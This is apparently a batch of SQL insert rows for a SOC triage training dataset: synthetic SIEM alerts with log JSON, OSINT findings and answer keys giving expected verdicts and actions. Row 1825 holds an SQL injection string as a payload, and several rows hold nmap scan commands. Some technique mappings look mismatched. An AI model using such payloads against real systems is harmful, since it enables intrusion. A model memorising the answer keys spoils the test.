(1824, 'Failed Login Attempts from Foreign IP', 'medium', 'Azure Sentinel', 'Multiple failed login attempts detected from an IP associated with a routine vulnerability scanning service.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.2\",\"username\":\"user_test\",\"hostname\":\"workstation01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported as part of legitimate vulnerability scanning services.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is known for legitimate scanning activities.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1825, 'Routine Web Request with Suspicious Payload', 'medium', 'Wazuh', 'A web request containing an SQL-like payload was detected, originating from an internal monitoring tool.', 'Web Attack', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"10.0.1.2\",\"dst_ip\":\"192.168.1.100\",\"hostname\":\"webserver01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address related to monitoring.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Payload part of routine testing by internal tools.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is part of internal testing by authorized personnel.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1826, 'Unauthorized SSH Login Attempt', 'high', 'Elastic SIEM', 'An unauthorized SSH login attempt was detected from an external IP address.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.8\",\"username\":\"root\",\"hostname\":\"server02\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP is associated with known malicious activity.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1827, 'Benign Email Containing Potentially Malicious URL', 'medium', 'Proofpoint', 'An email was flagged for containing a URL typically seen in phishing attempts, but it belongs to a trusted partner.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"192.168.1.50\",\"email_sender\":\"partner@example.com\",\"url\":\"http://trustedpartner.com/login\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"partner@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Email belongs to a known trusted partner.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://trustedpartner.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"URL verified as safe and belongs to a trusted domain.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL and sender are verified as legitimate and trusted.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1828, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'A high volume of network connections was detected from an internal scanning tool. This activity is consistent with routine vulnerability assessments conducted by IT.', 'Network Scan', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"scanner_account\",\"hostname\":\"vuln-scan-01\",\"command_line\":\"nmap -sS -p 1-65535 192.168.1.200\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP used for authorized vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS -p 1-65535 192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Command consistent with routine vulnerability scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scan\",\"analysis_notes\":\"The detected activity was verified as part of scheduled IT security assessments.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1829, 'Authorized Administrative Backup Activity', 'low', 'Wazuh', 'A backup process was initiated by an authorized admin user. This activity matches the scheduled backup routine.', 'Data Transfer', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"backup_admin\",\"hostname\":\"backup-server-01\",\"command_line\":\"rsync -av /data /backup/\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP of authorized backup server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -av /data /backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Authorized backup command executed by admin.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"The activity is part of a scheduled administrative task for data backup.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1830, 'Benign System Health Check Activity', 'low', 'Azure Sentinel', 'System health check performed by an internal monitoring tool. The detected activity aligns with routine system maintenance procedures.', 'System Monitoring', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.75\",\"username\":\"monitor\",\"hostname\":\"health-check-01\",\"command_line\":\"check_system_health -t all\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP of system monitoring server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"check_system_health -t all\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Command executed by internal monitoring tool.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_monitoring\",\"analysis_notes\":\"The activity was confirmed as part of a routine system health check.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1831, 'Misconfigured Legacy Application Detected', 'medium', 'Elastic SIEM', 'Unusual traffic patterns noted from a legacy application server. The application is known for generating false positives due to outdated configurations.', 'Network Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.10.10.10\",\"dst_ip\":\"10.10.10.20\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server-01\",\"command_line\":\"legacy_app.exe\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.10.10.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP of misconfigured legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"legacy_app.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Known false positive due to outdated application settings.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"Activity is consistent with the legacy application\'s known behavior.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1832, 'Valid Administrative Login from Unusual Location', 'medium', 'Splunk', 'A valid login was detected from an unusual geographic location for a user account. However, this was verified as the user\'s authorized travel.', 'Credential Use', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.1.5\",\"username\":\"jdoe\",\"hostname\":\"vpn-gateway\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with unusual login activity but verified as user travel.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"User confirmed to be traveling and using authorized access.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_use\",\"analysis_notes\":\"Login was verified as legitimate due to user travel.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1833, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'Multiple network connections were detected originating from an internal vulnerability scanner. This is part of routine security checks.', 'Network Activity', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.1\",\"username\":\"scanner_account\",\"hostname\":\"vuln-scan-01\",\"command_line\":\"nmap -sV -p 1-65535 192.168.1.1\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p 1-65535 192.168.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized internal scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"This is a scheduled internal vulnerability scan.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1834, 'Authorized Administrative Backup Activity', 'low', 'Azure Sentinel', 'A scheduled backup operation was detected on critical servers. This is part of routine data protection procedures.', 'Data Backup', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"backup_admin\",\"hostname\":\"backup-server-01\",\"command_line\":\"backup.exe /run /source:server01 /dest:backup-server-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal server IP involved in backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"backup.exe /run /source:server01 /dest:backup-server-01\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified as a legitimate backup command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_backup\",\"analysis_notes\":\"Scheduled backup job as part of data protection strategy.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1835, 'Routine System Health Check Activity', 'low', 'Wazuh', 'System health monitoring detected an increase in process execution from a known maintenance script.', 'System Monitoring', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"hostname\":\"monitor-01\",\"username\":\"monitor_service\",\"command_line\":\"healthcheck.sh --all\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IP of the health monitoring server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"healthcheck.sh --all\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a routine system health check command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_monitoring\",\"analysis_notes\":\"This activity is part of scheduled system health checks.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1836, 'Misconfigured Legacy Application Detected', 'medium', 'Elastic SIEM', 'A legacy application was identified making unusual network requests. This behavior is due to misconfiguration.', 'Network Activity', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:20:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.42\",\"dst_ip\":\"203.0.113.200\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity associated with this external IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"Legacy application is misconfigured, causing unusual but benign network behavior.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1837, 'Brute Force Login Attempt from Suspicious IP', 'high', 'Wazuh', 'Multiple failed login attempts detected from a foreign IP. Investigation confirms it is part of a brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.86.151.76\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin\",\"hostname\":\"web-server-01\",\"failed_attempts\":25}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.86.151.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Commonly targeted username in brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"OSINT confirms the IP is involved in malicious activities, validating the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1838, 'Routine Vulnerability Scan Detected', 'low', 'Splunk', 'A network scan was detected originating from an internal IT management server. This activity appears to be a routine vulnerability assessment.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:23Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"svc_scan\",\"hostname\":\"IT-Scanner-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for network management tasks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity is consistent with scheduled vulnerability scans by IT.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1839, 'Unusual Email Received from Trusted Domain', 'medium', 'Proofpoint', 'An email containing a suspicious link was received from a normally trusted domain. Investigation revealed it to be a legitimate marketing campaign.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.56\",\"email_sender\":\"newsletter@trustedcompany.com\",\"url\":\"https://trustedcompany.com/promo\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No negative reports associated with this IP\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://trustedcompany.com/promo\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Verified as part of a legitimate campaign\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"OSINT confirmed the URL and sender domain as part of a legitimate marketing effort.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1840, 'Scheduled System Health Check Detected', 'low', 'Wazuh', 'A system health check script was executed, flagged by the system due to its similarity to known attack patterns. It was confirmed to be a scheduled maintenance task.', 'Command Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.150\",\"hostname\":\"Server-Maintenance\",\"command_line\":\"/usr/local/bin/syscheck.sh\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for system maintenance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/local/bin/syscheck.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a routine system check script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"command_execution\",\"analysis_notes\":\"The command is part of scheduled health checks performed regularly.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1841, 'Misconfigured Application Causing Suspicious Traffic', 'medium', 'Elastic SIEM', 'High volume of outbound traffic from a legacy app server was flagged as suspicious. Investigation indicates a misconfiguration causing excess data sync.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:50:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.200\",\"dst_ip\":\"203.0.113.99\",\"hostname\":\"LegacyApp-Server\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this external IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic was due to a misconfigured sync process rather than malicious exfiltration.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1842, 'Unauthorized Credential Usage Detected', 'high', 'Azure Sentinel', 'Anomalous login attempt detected from a foreign IP using valid credentials. OSINT confirms this IP is associated with brute force attacks.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.143.223.12\",\"username\":\"jdoe\",\"hostname\":\"Corp-Login-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"No known issues with this user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is linked to known brute force attacks, confirming malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1843, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A vulnerability scanning tool was detected scanning internal systems for vulnerabilities. The activity originated from a known internal IP address.', 'Network Scanning', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"admin\",\"hostname\":\"vulnscanner01\",\"request_body\":\"\",\"command_line\":\"nmap -sV -p 1-65535 192.168.1.101\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p 1-65535 192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Tool Documentation\",\"verdict\":\"clean\",\"details\":\"Standard command for internal network scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scanning\",\"analysis_notes\":\"Routine scanning by IT department for security assessment.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1844, 'Suspicious Login Attempt from Authorized Backup System', 'medium', 'Azure Sentinel', 'An unusual login attempt was detected from an IP address belonging to an authorized backup system. The login attempt appears to be part of routine backup processes.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.200\",\"username\":\"backup_admin\",\"hostname\":\"backup01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by backup systems.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Records\",\"verdict\":\"clean\",\"details\":\"Authorized user account for backup processes.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempt was part of a scheduled backup routine.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1845, 'Authorized Administrative Backup Detected', 'low', 'Wazuh', 'A scheduled administrative backup was initiated, detected as a high volume of network traffic. This is a routine operation.', 'Data Transfer', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T01:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"192.168.1.250\",\"username\":\"backup_service\",\"hostname\":\"backupserver01\",\"request_body\":\"\",\"command_line\":\"rsync -av --delete /data 192.168.1.250:/backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -av --delete /data 192.168.1.250:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Backup Procedure Manual\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"Recognized as part of routine data backup operations.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1846, 'Misconfigured Legacy Application Activity', 'medium', 'Elastic SIEM', 'A legacy application generated excessive network traffic and login attempts, which were flagged as suspicious but matched known behavior patterns.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.100\",\"username\":\"legacy_app\",\"hostname\":\"legacyserver01\",\"request_body\":\"\",\"command_line\":\"python legacy_script.py\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Map\",\"verdict\":\"internal\",\"details\":\"IP address of legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python legacy_script.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Legacy System Documentation\",\"verdict\":\"clean\",\"details\":\"Regularly executed script on legacy systems.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Activity consistent with routine operation of legacy applications.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
